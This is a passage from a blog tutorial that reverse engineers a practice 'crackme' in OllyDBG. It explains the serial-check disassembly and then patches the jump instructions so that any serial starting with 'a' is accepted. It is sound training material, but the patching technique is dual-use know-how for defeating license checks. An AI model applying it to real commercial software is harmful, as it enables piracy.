class="code-line"span class="normal"4/span/span span class="code-line"span class="normal"5/span/span span class="code-line"span class="normal"6/span/span span class="code-line"span class="normal"7/span/span span class="code-line"span class="normal"8/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401003 . 8A01 MOV AL,BYTE PTR DS:[ECX]/span/span span class="code-line"span class="x"00401005 . 83EC 20 SUB ESP,20/span/span span class="code-line"span class="x"00401008 . 56 PUSH ESI/span/span span class="code-line"span class="x"00401009 . 33F6 XOR ESI,ESI/span/span span class="code-line"span class="x"0040100B . 84C0 TEST AL,AL/span/span span class="code-line"span class="x"0040100D . 0F84 B3000000 JE SomeCryp.004010C6/span/span span class="code-line"span class="x"00401013 . 8D55 E0 LEA EDX,DWORD PTR SS:[EBP-20]/span/span span class="code-line"span class="x"00401016 . 2BD1 SUB EDX,ECX/span/span span class="code-line"/code/pre/div /td/tr/table pThe first line loads the first byte of our serial into the AL register (The lower byte of the EAX register)./p pSome space is then reserved on the stack for a local variable. On line 3 the value of the ESI register is saved on the stack and zero'ed out (xor'ing anything with itself makes the result 0)./p pThe byte in the AL register (at this point in time the first character in our serial) is checked for 0 on line 5 and if it is 0 execution jumps to code004010C6/code./p pLet's look at the code at code004010C6/code:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/span span class="code-line"span class="normal"3/span/span span class="code-line"span class="normal"4/span/span span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"004010C6 gt; 32C0 XOR AL,AL/span/span span class="code-line"span class="x"004010C8 . 5E POP ESI/span/span span class="code-line"span class="x"004010C9 . 8BE5 MOV ESP,EBP/span/span span class="code-line"span class="x"004010CB . 5D POP EBP/span/span span class="code-line"span class="x"004010CC . C3 RETN/span/span span class="code-line"/code/pre/div /td/tr/table pThis clearly just sets the return value to code0/code and returns, we already know that we don't want a return value of code0/code so this is our failure case./p pFollowing the jump we have an LEA instruction, which loads the value of our local variable, and a SUB command, which calculates the distance from the local variable to where our serial is in memory./p pThe result of these 2 instructions (the distance from the local variable to where our serial is in memory) is stored in the EDX register./p pNext we have the following loop:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span span class="code-line"span class="normal" 2/span/span span class="code-line"span class="normal" 3/span/span span class="code-line"span class="normal" 4/span/span span class="code-line"span class="normal" 5/span/span span class="code-line"span class="normal" 6/span/span span class="code-line"span class="normal" 7/span/span span class="code-line"span class="normal" 8/span/span span class="code-line"span class="normal" 9/span/span span class="code-line"span class="normal"10/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401018 gt; 3C 61 CMP AL,61/span/span span class="code-line"span class="x"0040101A . 0F8C A6000000 JL SomeCryp.004010C6/span/span span class="code-line"span class="x"00401020 . 3C 7A CMP AL,7A/span/span span class="code-line"span class="x"00401022 . 0F8F 9E000000 JG SomeCryp.004010C6/span/span span class="code-line"span class="x"00401028 . 88040A MOV BYTE PTR DS:[EDX+ECX],AL/span/span span class="code-line"span class="x"0040102B . 8A41 01 MOV AL,BYTE PTR DS:[ECX+1]/span/span span class="code-line"span class="x"0040102E . 41 INC ECX/span/span span class="code-line"span class="x"0040102F . 46 INC ESI/span/span span class="code-line"span class="x"00401030 . 84C0 TEST AL,AL/span/span span class="code-line"span class="x"00401032 .^75 E4 JNZ SHORT SomeCryp.00401018/span/span span class="code-line"/code/pre/div /td/tr/table pThis is checking if the value in AL is below 61 (lines 1 and 2) or above 7A (lines 3 and 4) and jumping to code004010C6/code if it is./p pLooking at the a href="http://web.cs.mun.ca/~michael/c/ascii-table.html" target="_blank"ascii table/a 61 is stronga/strong and 7A is strongz/strong./p pSo if the first character is not a lowercase letter, execution will jump to the same failure case as before./p pIf the jumps aren't taken the byte is moved to the address pointed to by codeEDX+ECX/code on line 5. This will point to the right position in the local variable due to the earlier codeSUB/code command./p pThen (on line 6) the next byte in the serial is moved into AL, both ECX and ESI are incremented. Lastly, on lines 9 and 10, AL is checked for 0 and the jump to code00401018/code is only taken if AL is 0./p pThis is clearly just making sure only lowercase letters are part of the serial, so at least we now know the possible different characters that are allowed in the serial./p pAnother thing to notice here is that ESI is being used as a counter and at the end will contain the number of characters in the serial./p pLet's look at the 2 lines following this loop:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401034 . 83FE 1A CMP ESI,1A/span/span span class="code-line"span class="x"00401037 . 0F85 89000000 JNZ SomeCryp.004010C6/span/span span class="code-line"/code/pre/div /td/tr/table pIf you'll remember, ESI contains the number of characters in the serial and here its being checked against code1A/code (or 26 in decimal). If ESI isn't equal to 26 then our failure case is taken again (code004010C6/code)./p pWe then zero out EAX and onto the next loop:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/span span class="code-line"span class="normal"3/span/span span class="code-line"span class="normal"4/span/span span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401040 gt; 8A88 10304000 MOV CL,BYTE PTR DS:[EAX+403010]/span/span span class="code-line"span class="x"00401046 . 8888 40314000 MOV BYTE PTR DS:[EAX+403140],CL/span/span span class="code-line"span class="x"0040104C . 40 INC EAX/span/span span class="code-line"span class="x"0040104D . 84C9 TEST CL,CL/span/span span class="code-line"span class="x"0040104F .^75 EF JNZ SHORT SomeCryp.00401040/span/span span class="code-line"/code/pre/div /td/tr/table pThis is simply moving a string from code403010/code to code403140/code and only stops once it hits a code0/code./p pThe data at code403010/code we can see by right clicking on the line (line 1 here) and click emFollow in Dump -gt; Address constant/em:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-follow-address-constant.png" width="800"/p pYou should see this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-data.png" width="800"/p pIt will show the following in the dump window:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span span class="code-line"span class="normal" 2/span/span span class="code-line"span class="normal" 3/span/span span class="code-line"span class="normal" 4/span/span span class="code-line"span class="normal" 5/span/span span class="code-line"span class="normal" 6/span/span span class="code-line"span class="normal" 7/span/span span class="code-line"span class="normal" 8/span/span span class="code-line"span class="normal" 9/span/span span class="code-line"span class="normal"10/span/span span class="code-line"span class="normal"11/span/span span class="code-line"span class="normal"12/span/span span class="code-line"span class="normal"13/span/span span class="code-line"span class="normal"14/span/span span class="code-line"span class="normal"15/span/span span class="code-line"span class="normal"16/span/span span class="code-line"span class="normal"17/span/span span class="code-line"span class="normal"18/span/span span class="code-line"span class="normal"19/span/span span class="code-line"span class="normal"20/span/span span class="code-line"span class="normal"21/span/span span class="code-line"span class="normal"22/span/span span class="code-line"span class="normal"23/span/span span class="code-line"span class="normal"24/span/span span class="code-line"span class="normal"25/span/span span class="code-line"span class="normal"26/span/span span class="code-line"span class="normal"27/span/span span class="code-line"span class="normal"28/span/span span class="code-line"span class="normal"29/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"00403010 49 78 20 6C 7A 63 74 75 Ix lzctu/span/span span class="code-line"span class="go"00403018 73 64 7A 65 74 67 63 2C sdzetgc,/span/span span class="code-line"span class="go"00403020 20 65 78 20 6E 2D 66 73 ex n-fs/span/span span class="code-line"span class="go"00403028 62 20 28 6E 76 66 6E 75 b (nvfnu/span/span span class="code-line"span class="go"00403030 6A 75 76 75 6A 73 78 2D juvujsx-/span/span span class="code-line"span class="go"00403038 66 73 62 29 20 6A 6E 20 fsb) jn/span/span span class="code-line"span class="go"00403040 65 20 66 65 6E 6A 6C 20 e fenjl/span/span span class="code-line"span class="go"00403048 6C 73 61 74 73 78 72 78 lsatsxrx/span/span span class="code-line"span class="go"00403050 75 20 73 77 20 6E 63 61 u sw nca/span/span span class="code-line"span class="go"00403058 61 72 75 7A 6A 6C 20 71 aruzjl q/span/span span class="code-line"span class="go"00403060 72 63 20 65 68 64 73 7A rc ehdsz/span/span span class="code-line"span class="go"00403068 6A 75 67 61 6E 20 70 67 jugan pg/span/span span class="code-line"span class="go"00403070 6A 6C 67 20 74 72 7A 77 jlg trzw/span/span span class="code-line"span class="go"00403078 73 7A 61 6E 20 6E 76 66 szan nvf/span/span span class="code-line"span class="go"00403080 6E 75 6A 75 76 75 6A 73 nujuvujs/span/span span class="code-line"span class="go"00403088 78 2E 20 49 78 20 66 68 x. Ix fh/span/span span class="code-line"span class="go"00403090 73 6C 71 20 6C 6A 74 67 slq ljtg/span/span span class="code-line"span class="go"00403098 72 7A 6E 2C 20 75 67 72 rzn, ugr/span/span span class="code-line"span class="go"004030A0 63 20 65 7A 72 20 75 63 c ezr uc/span/span span class="code-line"span class="go"004030A8 74 6A 6C 65 68 68 63 20 tjlehhc/span/span span class="code-line"span class="go"004030B0 76 6E 72 6D 20 75 73 20 vnrm us/span/span span class="code-line"span class="go"004030B8 73 66 6E 6C 76 7A 72 20 sfnlvzr/span/span span class="code-line"span class="go"004030C0 75 67 72 20 7A 72 68 65 ugr zrhe/span/span span class="code-line"span class="go"004030C8 75 6A 73 78 6E 67 6A 74 ujsxngjt/span/span span class="code-line"span class="go"004030D0 20 66 72 75 70 72 72 78 fruprrx/span/span span class="code-line"span class="go"004030D8 20 75 67 72 20 71 72 63 ugr qrc/span/span span class="code-line"span class="go"004030E0 20 65 78 6D 20 75 67 72 exm ugr/span/span span class="code-line"span class="go"004030E8 20 6C 6A 74 67 72 7A 75 ljtgrzu/span/span span class="code-line"span class="go"004030F0 72 62 75 2E 00 rbu../span/span span class="code-line"/code/pre/div /td/tr/table pThis is everything before and including the first code0/code./p pOnce this loop has completed we have the following:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/span span class="code-line"span class="normal"3/span/span span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401051 . 33C9 XOR ECX,ECX/span/span span class="code-line"span class="x"00401053 . 380D 40314000 CMP BYTE PTR DS:[403140],CL/span/span span class="code-line"span class="x"00401059 . 74 2D JE SHORT SomeCryp.00401088/span/span span class="code-line"span class="x"0040105B . EB 03 JMP SHORT SomeCryp.00401060/span/span span class="code-line"/code/pre/div /td/tr/table pThis zero's out ECX and checks the value at code403140/code against CL (code0/code) and if they match jumps to code00401088/code, otherwise jumps to code00401060/code./p pLet's see what happens if you jump on line 3 is taken:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span span class="code-line"span class="normal"2/span/span span class="code-line"span class="normal"3/span/span span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401088 gt; 83C8 FF OR EAX,FFFFFFFF/span/span span class="code-line"span class="x"0040108B . BA 40314000 MOV EDX,SomeCryp.00403140/span/span span class="code-line"span class="x"00401090 . 85C9 TEST ECX,ECX/span/span span class="code-line"span class="x"00401092 . 74 19 JE SHORT SomeCryp.004010AD/span/span span class="code-line"/code/pre/div /td/tr/table pAnother jump is taken if ECX is code0/code and we know it will at this point. Here is the code at that location:/p table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span span class="code-line"span class="normal" 2/span/span span class="code-line"span class="normal" 3/span/span span class="code-line"span class="normal" 4/span/span span class="code-line"span class="normal" 5/span/span span class="code-line"span class="normal" 6/span/span span class="code-line"span class="normal" 7/span/span span class="code-line"span class="normal" 8/span/span span class="code-line"span class="normal" 9/span/span span class="code-line"span class="normal"10/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"004010AD gt; F7D0 NOT EAX/span/span span class="code-line"span class="x"004010AF . 3D 18B291F8 CMP EAX,F891B218/span/span span class="code-line"span class="x"004010B4 . 75 10 JNZ SHORT SomeCryp.004010C6/span/span span class="code-line"span class="x"004010B6 . 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]/span/span span class="code-line"span class="x"004010B9 . C700 40314000 MOV DWORD PTR DS:[EAX],SomeCryp.00403140/span/span span class="code-line"span class="x"004010BF . B0 01 MOV AL,1/span/span span class="code-line"span class="x"004010C1 . 5E POP ESI/span/span span class="code-line"span class="x"004010C2 . 8BE5 MOV ESP,EBP/span/span span class="code-line"span class="x"004010C4 . 5D POP EBP/span/span span class="code-line"span class="x"004010C5 . C3 RETN/span/span span class="code-line"/code/pre/div /td/tr/table pThis is the end of the function./p pIts pretty obvious that this function creates a checksum of a modified version of the string we found earlier and checks it against codeF891B218/code, if it is equal the function returns 1, otherwise it return 0./p pAt this point I remember that there are no rules to this crackme so patching is allowed./p pExit OllyDBG completely and make a copy of the application like this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/save-copy.png"/p pThis isn't needed, I just do it to be careful./p pOpe the copy and go to the serial checking function and the line under codeCMP AL,61/code, where it says codeJL SomeCryp.004010C6/code at code0040101A/code, double click, type codeje 4010A2/code and click emAssemble/em./p pThe little window should have stayed open, type codejmp 4010C6/code and click emAssemble/em again./p pYou should see the following:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-editing-binary.png" width="800"/p pThis should check if the first character in the serial is stronga/strong and if it is jump to code4010A2/code, otherwise jump to code4010C6/code which is the failure case./p pClick emCancel/em and scroll down the the memory address code4010A2/code. Double click there, type codemov eax, 0xf891b218/code and click emAssemble/em./p pYou should see this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-editing-binary2.png" width="800"/p pNow just fill the rest with a href="https://en.wikipedia.org/wiki/NOP" target="_blank"NOP's/a until the codecmp/code at code004010AF/code like this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-nops.png" width="800"/p pThis should ensure that if the serial contains an stronga/strong at the start it should set the value of EAX accordingly./p pSave these modifications to the application file by right clicking anywhere and clicking emCopy to exe-gt;All modifications/em:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-copy-to-exe.png" width="800"/p pIt should open this window:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-copy-to-exe-dialog.png"/p pClick emCopy all/em and you should see something like this:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-new-binary.png" width="800"/p pClick the close button in the top right corner of this window and you should get the following dialog:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-save-binary.png"/p pNow if you browse to the directory with the crackme files in you should see a new file:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/new-files.png"/p pThe file ending in strong.bak/strong is the backup created by Olly, and the 1 named codeSomeCrypto~01 - Copy.exe/code is our patched file./p pJust run it and put anything as the name and any serial starting with an stronga/strong:/p pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/complete.png" width="800"/p pCRACKED!!! :-)/p h2Conclusion/h2 pYou don't need to fully understand every part of an application while reverse engineering it, it depends on what you are trying to achieve and the complexity of the application./p pTry to concentrate as much as possible on the important areas and ignore everything else./p pWhen beating a protection mechanism sometimes its easiest to just bypass the protection as opposed to trying to break it./p h2Further Reading/h2 pThe best book I've read on this topic is emReversing: Secrets of Reverse Engineering/em by emEldad Eilam/em./p pHappy Hacking :-)/p
❌
❌